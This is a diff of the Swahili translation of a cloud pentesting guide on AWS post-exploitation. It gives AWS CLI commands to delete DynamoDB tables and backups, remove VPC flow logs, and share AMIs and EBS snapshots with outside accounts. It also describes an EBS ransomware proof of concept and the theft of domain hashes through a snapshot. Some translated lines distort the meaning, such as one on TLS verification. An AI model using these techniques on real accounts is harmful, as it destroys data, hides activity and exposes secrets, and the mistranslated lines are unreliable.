-Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa nakala ya akiba** (au hata kuunda nakala ya akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa akiba ambazo haziwezi kuwa tena katika jedwali la uzalishaji. +Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa nakala ya akiba** (au hata kuunda akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa akiba ambazo h**aziwezi kuwa tena katika uzalishaji** jedwali. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ @@ -170,7 +170,7 @@ aws dynamodb restore-table-from-backup \ ### `dynamodb:PutItem` -Ruhusa hii inawawezesha watumiaji kuongeza **kitu kipya kwenye meza au kubadilisha kitu kilichopo** na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, **kitu chote kitabadilishwa** na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa **.** +Ruhusa hii inawawezesha watumiaji kuongeza **kitu kipya kwenye meza au kubadilisha kitu kilichopo** na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, **kitu chote kitabadilishwa** na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa **mpya**. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,11 +242,11 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Madhara Yanayoweza Kutokea:** Kutumiwa kwa udhaifu/kuvunjwa zaidi kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB +**Madhara Yanayoweza Kutokea:** Kutumiwa kwa udhaifu zaidi/kuvunjwa kwa kinga kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB ### `dynamodb:DeleteTable` -Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupoteza data**. +Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupotea kwa data**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ @@ -256,13 +256,13 @@ aws dynamodb delete-table \ ### `dynamodb:DeleteBackup` -Mshambuliaji mwenye ruhusa hii anaweza **kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kuokoa dharura**. +Mshambuliaji mwenye ruhusa hii anaweza **kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kurejesha baada ya janga**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Madhara yanayoweza kutokea**: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya dharura ya urejeleaji. +**Madhara yanayoweza kutokea**: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya kuokoa janga. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` @@ -278,7 +278,7 @@ bashCopy codeaws dynamodb update-table \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Eleza mchakato wa kupata ARN na maelezo mengine: +2. Eleza mtiririko wa kupata ARN na maelezo mengine: ```bash bashCopy codeaws dynamodb describe-stream \ --table-name TargetTable \ @@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Madhara yanayoweza kutokea**: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya jedwali la DynamoDB. +**Madhara yanayoweza kutokea**: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya jedwali la DynamoDB. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 00030f487..b4229e5f2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **hupiga nakala ya trafiki ya ndani na nje kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyopigwa nakala kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\ +Kuhifadhiwa kwa trafiki ya VPC **kunakilisha trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyokilishwa kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\ Mshambuliaji anaweza kutumia hii kukamata trafiki yote na kupata taarifa nyeti kutoka kwake: Kwa maelezo zaidi angalia ukurasa huu: @@ -21,7 +21,7 @@ Kwa maelezo zaidi angalia ukurasa huu: aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance +### Nakala ya Instance Inayoendesha Instances kwa kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Hata hivyo, njia nyingine ya kuangalia kile inachokimiliki ni **kuunda AMI na kuendesha instance mpya (hata katika akaunti yako mwenyewe) kutoka kwake**: ```shell @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots ni nakala za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hii.\ -Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuunganisha kwenye mfano** ndani ya akaunti: +**Snapshots ni nakala za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, hivyo kuzikagua kunapaswa kufichua taarifa hii.\ +Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuunganisha kwenye instance** ndani ya akaunti: {{#ref}} aws-ebs-snapshot-dump.md @@ -85,7 +85,7 @@ Inawezekana kuendesha EC2 instance na kuisajili kutumika kuendesha ECS instances Kwa [**maelezo zaidi angalia hii**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### Ondoa VPC flow logs +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -95,7 +95,7 @@ Required permissions: - `ssm:StartSession` -Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kuhamasisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kuhamasisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi. +Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kubadilisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kubadilisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi. > Ili kuanza kikao unahitaji kuwa na SessionManagerPlugin iliyosakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -119,17 +119,17 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo ```shell kubectl get pods --insecure-skip-tls-verify ``` -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. +Kumbuka kwamba muunganisho wa SSL utafaulu isipokuwa uweke bendera `--insecure-skip-tls-verify` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitishwa kupitia handaki salama la AWS SSM, uko salama kutokana na aina yoyote ya mashambulizi ya MitM. -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. +Hatimaye, mbinu hii si maalum kwa kushambulia vikundi vya EKS vya kibinafsi. Unaweza kuweka maeneo na bandari za kiholela kuhamasisha huduma nyingine yoyote ya AWS au programu maalum. -### Shiriki AMI +### Share AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` ### Tafuta taarifa nyeti katika AMIs za umma na binafsi -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya picha za mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua mifano kutoka kwa AMIs za lengo, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya Picha za Mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua matukio kutoka kwa AMIs lengwa, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo. ### Shiriki EBS Snapshot ```bash @@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya baada ya kutumia S3. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo. +Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya S3 post-exploitation. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo. -Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza ufunguo unaosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya ufunguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya ufunguo nje ya udhibiti wa AWS. Badilisha sera ya ufunguo ili kuruhusu kwa akaunti yoyote ya AWS Principal kutumia ufunguo huo. Kwa sera hii ya ufunguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption' +Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza funguo inayosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya funguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya funguo nje ya udhibiti wa AWS. Badilisha sera ya funguo ili kuruhusu kwa Principal ya akaunti yoyote ya AWS kutumia funguo hiyo. Kwa sera hii ya funguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -231,7 +231,7 @@ Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza ufunguo unaosimami ] } ``` -The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: +Sera ya funguo inahitaji yafuatayo kuwezeshwa ili kuruhusu uwezo wa kuitumia kuandika EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -239,21 +239,21 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Sasa na ufunguo unaopatikana kwa umma wa kutumia. Tunaweza kutumia akaunti ya 'madhara' ambayo ina baadhi ya EC2 instances zilizozinduliwa zikiwa na EBS volumes zisizo na usimbuaji. EBS volumes za akaunti hii ya 'madhara' ndizo tunazolenga kwa ajili ya usimbuaji, shambulio hili linachukuliwa chini ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu. +Sasa na funguo inayopatikana hadharani kutumia. Tunaweza kutumia akaunti ya 'mwathirika' ambayo ina EC2 instances kadhaa zilizozinduliwa zikiwa na EBS volumes zisizoandikwa. EBS volumes za akaunti hii ya 'mwathirika' ndizo tunazolenga kwa ajili ya kuandika, shambulio hili liko chini ya dhana ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Kama mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia ufunguo unaopatikana kwa umma kutoka akaunti ya 'mshambuliaji' kusimbua EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka kwa EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizofichwa. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Kama mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia funguo inayopatikana hadharani kutoka akaunti ya 'mshambuliaji' kuandika EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizokuwa zimeandikwa. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Hii inasababisha kuwa na EBS volumes tu zilizofichwa zilizobaki katika akaunti. +Hii inasababisha kuwa na EBS volumes tu zilizokuwa zimeandikwa zilizobaki katika akaunti. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS volumes za asili. EBS volumes za asili zisizo na usimbuaji zimeondolewa sasa. +Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS volumes za asili. EBS volumes za asili zisizoandikwa zimeondolewa sasa. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Ifuatayo, rudi kwenye sera ya ufunguo katika akaunti ya 'mshambuliaji' na uondoe sheria ya sera ya 'Ufunguo wa Nje' kutoka kwenye sera ya ufunguo. +Sasa, rudi kwenye sera ya funguo katika akaunti ya 'mshambuliaji' na uondoe sheria ya sera ya 'Uandishi wa Nje' kutoka kwenye sera ya funguo. ```json { "Version": "2012-10-17", @@ -324,15 +324,15 @@ Ifuatayo, rudi kwenye sera ya ufunguo katika akaunti ya 'mshambuliaji' na uondoe ] } ``` -Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya volumu za EBS zilizofichwa kwa ufunguo mpya. Utagundua kwamba unaweza kuunganisha volumu hiyo. +Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya EBS volumes mpya zilizofichwa. Utapata kuwa unaweza kuunganisha volume hiyo. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Lakini unapojaribu kuanzisha tena EC2 instance na volumu ya EBS iliyofichwa, itashindwa na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani volumu ya EBS iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena. +Lakini unapojaribu kuanzisha tena EC2 instance na EBS volume iliyofichwa itashindwa tu na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani EBS volume iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichaji. Script itafanya nakala zilizofichwa za VOLUMLA ZOTE zinazopatikana zilizounganishwa kwa EC2 instances ZOTE katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa volumu za EBS za asili, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha tu volumu za EBS zilizofichwa katika akaunti ya 'mwathirika' iliyolengwa. TUMIA TU SCRIPT HII KATIKA ENVIRONMENT YA KIJARIBIO, NI DESTRUCTIVE NA ITAFUTA VOLUMLA ZOTE ZA ASILI ZA EBS. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kwamba hii ni PoC ya ransomware mwishoni mwa siku. +Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichaji. Script itafanya nakala zilizofichwa za EBS volumes ZOTE zinazopatikana zilizounganishwa kwa EC2 instances ZOTE katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa EBS volumes za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha EBS volumes zilizofichwa pekee katika akaunti ya 'mwathirika' iliyolengwa. TUMIA SCRIPT HII KATIKA KIZAZI CHA MAJARIBIO TU, NI YA KUHARIBU NA ITAFUTA EBS VOLUMES ZOTE ZA AWALI. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kuwa hii ni PoC ya ransomware mwishoni mwa siku. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 58323b5b2..9777c8a2f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -32,7 +32,7 @@ make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` > [!CAUTION] -> **Kumbuka** kwamba `dsnap` haitakuruhusu kupakua picha za umma. Ili kuzunguka hili, unaweza kufanya nakala ya picha hiyo katika akaunti yako binafsi, na kupakua hiyo: +> **Kumbuka** kwamba `dsnap` haitakuruhusu kupakua snapshots za umma. Ili kuzunguka hili, unaweza kufanya nakala ya snapshot katika akaunti yako binafsi, na kupakua hiyo: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -54,47 +54,47 @@ Unaweza kufanya hivi na Pacu ukitumia moduli [ebs\_\_download_snapshots](https:/ ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` -**Mount it in a EC2 VM under your control** (inapaswa kuwa katika eneo moja na nakala ya nakala ya akiba): +**Iweke kwenye VM ya EC2 chini ya udhibiti wako** (lazima iwe katika eneo moja na nakala ya nakala ya akiba): -Step 1: Hifadhi mpya ya ukubwa na aina unayopendelea inapaswa kuundwa kwa kuelekea EC2 –> Volumes. +Hatua ya 1: Kiasi kipya cha ukubwa na aina unayopendelea kinapaswa kuundwa kwa kuelekea EC2 –> Volumes. Ili uweze kufanya hatua hii, fuata amri hizi: -- Unda hifadhi ya EBS kuunganisha na mfano wa EC2. -- Hakikisha kuwa hifadhi ya EBS na mfano ziko katika eneo moja. +- Unda kiasi cha EBS kuunganisha na mfano wa EC2. +- Hakikisha kwamba kiasi cha EBS na mfano viko katika eneo moja. -Step 2: Chaguo la "attach volume" linapaswa kuchaguliwa kwa kubonyeza kulia kwenye hifadhi iliyoundwa. +Hatua ya 2: Chaguo la "unganishi kiasi" linapaswa kuchaguliwa kwa kubonyeza kulia kwenye kiasi kilichoundwa. -Step 3: Mfano kutoka kwenye kisanduku cha maandiko ya mfano unapaswa kuchaguliwa. +Hatua ya 3: Mfano kutoka kwenye kisanduku cha maandiko ya mfano unapaswa kuchaguliwa. Ili uweze kufanya hatua hii, tumia amri ifuatayo: -- Unganisha hifadhi ya EBS. +- Unganisha kiasi cha EBS. -Step 4: Ingia kwenye mfano wa EC2 na orodhesha diski zinazopatikana kwa kutumia amri `lsblk`. +Hatua ya 4: Ingia kwenye mfano wa EC2 na orodhesha diski zinazopatikana kwa kutumia amri `lsblk`. -Step 5: Angalia kama hifadhi ina data yoyote kwa kutumia amri `sudo file -s /dev/xvdf`. +Hatua ya 5: Angalia kama kiasi kina data yoyote kwa kutumia amri `sudo file -s /dev/xvdf`. -Ikiwa matokeo ya amri hapo juu yanaonyesha "/dev/xvdf: data", inamaanisha kuwa hifadhi ni tupu. +Ikiwa matokeo ya amri hapo juu yanaonyesha "/dev/xvdf: data", inamaanisha kwamba kiasi ni tupu. -Step 6: Fanya hifadhi kuwa mfumo wa faili wa ext4 kwa kutumia amri `sudo mkfs -t ext4 /dev/xvdf`. Vinginevyo, unaweza pia kutumia muundo wa xfs kwa kutumia amri `sudo mkfs -t xfs /dev/xvdf`. Tafadhali kumbuka kuwa unapaswa kutumia ama ext4 au xfs. +Hatua ya 6: Fanya muundo wa kiasi kwa mfumo wa faili wa ext4 kwa kutumia amri `sudo mkfs -t ext4 /dev/xvdf`. Vinginevyo, unaweza pia kutumia muundo wa xfs kwa kutumia amri `sudo mkfs -t xfs /dev/xvdf`. Tafadhali kumbuka kwamba unapaswa kutumia ama ext4 au xfs. -Step 7: Unda saraka ya uchaguzi wako ili kuunganisha hifadhi mpya ya ext4. Kwa mfano, unaweza kutumia jina "newvolume". +Hatua ya 7: Unda saraka ya uchaguzi wako ili kuunganisha kiasi kipya cha ext4. Kwa mfano, unaweza kutumia jina "newvolume". Ili uweze kufanya hatua hii, tumia amri `sudo mkdir /newvolume`. -Step 8: Unganisha hifadhi kwenye saraka ya "newvolume" kwa kutumia amri `sudo mount /dev/xvdf /newvolume/`. +Hatua ya 8: Unganisha kiasi kwenye saraka ya "newvolume" kwa kutumia amri `sudo mount /dev/xvdf /newvolume/`. -Step 9: Badilisha saraka hadi saraka ya "newvolume" na angalia nafasi ya diski ili kuthibitisha kuunganisha hifadhi. +Hatua ya 9: Badilisha saraka hadi saraka ya "newvolume" na angalia nafasi ya diski ili kuthibitisha muunganisho wa kiasi. Ili uweze kufanya hatua hii, tumia amri zifuatazo: - Badilisha saraka hadi `/newvolume`. - Angalia nafasi ya diski kwa kutumia amri `df -h .`. Matokeo ya amri hii yanapaswa kuonyesha nafasi ya bure katika saraka ya "newvolume". -Unaweza kufanya hivi na Pacu ukitumia moduli `ebs__explore_snapshots`. +Unaweza kufanya hivi na Pacu kwa kutumia moduli `ebs__explore_snapshots`. -## Checking a snapshot in AWS (using cli) +## Kuangalia nakala katika AWS (ukitumia cli) ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -Mtu yeyote wa AWS mwenye ruhusa ya **`EC2:CreateSnapshot`** anaweza kuiba hash za watumiaji wote wa kikoa kwa kuunda **snapshot ya Domain Controller** na kuikamilisha kwenye mfano wanaodhibiti na **kutoa faili ya NTDS.dit na SYSTEM** registry hive kwa matumizi na mradi wa Impacket's secretsdump. +Mtu yeyote wa AWS mwenye ruhusa ya **`EC2:CreateSnapshot`** anaweza kuiba hash za watumiaji wote wa domain kwa kuunda **snapshot ya Domain Controller** na kuikamilisha kwenye mfano wanaodhibiti na **kutoa faili ya NTDS.dit na SYSTEM** registry hive kwa matumizi na mradi wa Impacket's secretsdump. Unaweza kutumia chombo hiki kuendesha shambulio: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) au unaweza kutumia moja ya mbinu za awali baada ya kuunda snapshot. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index fab8953eb..a5c88adc2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -4,12 +4,12 @@ **Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** -Ukaguzi wa mtandao wa passiv katika mazingira ya wingu umekuwa **mgumu**, ukihitaji mabadiliko makubwa ya usanidi ili kufuatilia trafiki ya mtandao. Hata hivyo, kipengele kipya kinachoitwa “**VPC Traffic Mirroring**” kimeanzishwa na AWS ili kurahisisha mchakato huu. Kwa VPC Traffic Mirroring, trafiki ya mtandao ndani ya VPCs inaweza **kurudiwa** bila kufunga programu yoyote kwenye mifano yenyewe. Trafiki hii iliyorudiwa inaweza kutumwa kwa mfumo wa kugundua uvamizi wa mtandao (IDS) kwa **uchambuzi**. +Ukaguzi wa mtandao wa passiv katika mazingira ya wingu umekuwa **mgumu**, ukihitaji mabadiliko makubwa ya usanidi ili kufuatilia trafiki ya mtandao. Hata hivyo, kipengele kipya kinachoitwa “**VPC Traffic Mirroring**” kimeanzishwa na AWS ili kurahisisha mchakato huu. Kwa VPC Traffic Mirroring, trafiki ya mtandao ndani ya VPCs inaweza **kudhibitishwa** bila kufunga programu yoyote kwenye mifano yenyewe. Trafiki hii iliyodhibitishwa inaweza kutumwa kwa mfumo wa kugundua uvamizi wa mtandao (IDS) kwa **uchambuzi**. -Ili kukabiliana na hitaji la **kujiendesha kiotomatiki** kwa miundombinu inayohitajika kwa ajili ya kurudiwa na kuhamasisha trafiki ya VPC, tumetengeneza skripti ya uthibitisho wa dhana inayoitwa “**malmirror**”. Skripti hii inaweza kutumika na **akidi za AWS zilizovunjwa** kuweka kurudiwa kwa mifano yote inayoungwa mkono ya EC2 katika VPC lengwa. Ni muhimu kutambua kwamba VPC Traffic Mirroring inasaidiwa tu na mifano ya EC2 inayotumiwa na mfumo wa AWS Nitro, na lengo la VPC mirror lazima liwe ndani ya VPC hiyo hiyo kama wenyeji waliorudiwa. +Ili kukabiliana na hitaji la **kupelekwa kiotomatiki** kwa miundombinu inayohitajika kwa ajili ya kudhibitisha na kuhamasisha trafiki ya VPC, tumetengeneza skripti ya uthibitisho wa dhana inayoitwa “**malmirror**”. Skripti hii inaweza kutumika na **akidi za AWS zilizovunjwa** kuweka kudhibitisha kwa mifano yote inayoungwa mkono ya EC2 katika VPC lengwa. Ni muhimu kutambua kwamba VPC Traffic Mirroring inasaidiwa tu na mifano ya EC2 inayotumiwa na mfumo wa AWS Nitro, na lengo la VPC mirror lazima liwe ndani ya VPC hiyo hiyo na wenyeji waliodhibitishwa. -**Athari** za kurudiwa kwa trafiki ya VPC yenye uharibifu zinaweza kuwa kubwa, kwani inawawezesha washambuliaji kupata **habari nyeti** zinazotumwa ndani ya VPCs. **Uwezekano** wa kurudiwa kwa namna hiyo yenye uharibifu ni mkubwa, ukizingatia uwepo wa **trafiki ya maandiko wazi** inayopita kupitia VPCs. Makampuni mengi hutumia protokali za maandiko wazi ndani ya mitandao yao ya ndani kwa **sababu za utendaji**, wakidhani kwamba mashambulizi ya jadi ya mtu katikati 